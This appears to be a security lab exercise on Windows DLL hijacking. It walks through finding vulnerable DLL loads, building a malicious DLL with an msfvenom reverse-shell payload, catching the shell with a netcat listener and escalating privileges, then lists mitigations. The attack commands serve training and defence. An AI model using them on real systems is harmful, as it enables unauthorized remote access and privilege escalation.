Exercise 18: Exploiting Windows Misconfigurations (DLL Hijacking)

Objective: Understand how to exploit DLL hijacking vulnerabilities in Windows applications to gain unauthorized access or escalate privileges, and learn how to mitigate such vulnerabilities.

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Scenario: DLL hijacking occurs when a Windows application loads a malicious DLL from an insecure or untrusted location instead of the legitimate DLL. Attackers can exploit this vulnerability to execute arbitrary code with the application’s privileges. Your task is to identify vulnerable applications, create a malicious DLL, and implement mitigation techniques to prevent DLL hijacking.

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Lab Setup

1. Environment:
   • A Windows system with a vulnerable application.
   • Administrator privileges for testing (if necessary).
2. Tools Required:
   • Dependency Walker or ProcMon to analyze DLL dependencies.
   • A tool to create malicious DLLs (e.g., msfvenom, Visual Studio).

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Lab Steps

Step 1: Identify Vulnerable Applications

1. Use Dependency Walker to analyze an application’s DLL dependencies:
   • Open Dependency Walker and load the application executable (e.g., example.exe).
   • Look for missing DLLs or DLLs loaded from insecure paths (e.g., C:\Temp\ or C:\Program Files\Example\).
2. Use ProcMon to monitor DLL loading in real time:
   • Filter events for the target application.
   • Observe file system activity to identify DLLs the application attempts to load.
3. Note the name and location of the DLLs the application tries to load.

Step 2: Craft a Malicious DLL

1. Create a malicious DLL with the same name as the legitimate DLL:
   • Using msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f dll -o malicious.dll
   • Replace <your_ip> and <your_port> with your attack machine’s IP and listening port.
2. Alternatively, use Visual Studio to create a custom DLL:
   • Create a new DLL project.
   • Write malicious code to execute when the DLL is loaded.

Step 3: Exploit the Application

1. Place the malicious DLL in the directory where the application searches for it: C:\Temp\malicious.dll
2. Launch the vulnerable application: example.exe
3. On your attack machine, set up a listener to catch the reverse shell: nc -lvnp <your_port>
4. Verify the reverse shell or payload execution.

Step 4: Gain Elevated Privileges

1. If the application runs with elevated privileges (e.g., SYSTEM or Administrator), your payload will execute with those privileges.
2. Confirm privilege escalation by running: whoami

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Solution

Explanation:

• DLL hijacking exploits the order in which Windows applications search for and load DLLs.
• By placing a malicious DLL in a location searched before the legitimate DLL, attackers can execute arbitrary code.

Prevention:

1. Use Fully Qualified Paths:
   • Configure applications to load DLLs using full paths instead of relying on search order.
2. Restrict Directory Permissions:
   • Ensure directories where DLLs are loaded from have restricted write permissions: icacls "C:\Program Files\Example" /deny Everyone:(W)
3. Enable Safe DLL Search Mode:
   • Configure Windows to prioritize system directories for DLL loading: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager] "SafeDllSearchMode"=dword:00000001
4. Digitally Sign DLLs:
   • Use signed DLLs to ensure integrity and prevent unauthorized modifications.
5. Monitor DLL Loading:
   • Use tools like Sysmon to detect and log unusual DLL loading behavior.

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Testing and Verification

1. Re-run ProcMon or Dependency Walker to confirm that only legitimate DLLs are being loaded.
2. Attempt to place a malicious DLL in previously vulnerable locations to verify mitigation.
3. Test application functionality to ensure legitimate operations are unaffected by the changes.

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Reflection

This exercise demonstrates the risks associated with DLL hijacking and provides practical steps to exploit and mitigate this vulnerability. By completing this lab, you’ve gained valuable insights into securing Windows applications against this common attack vector.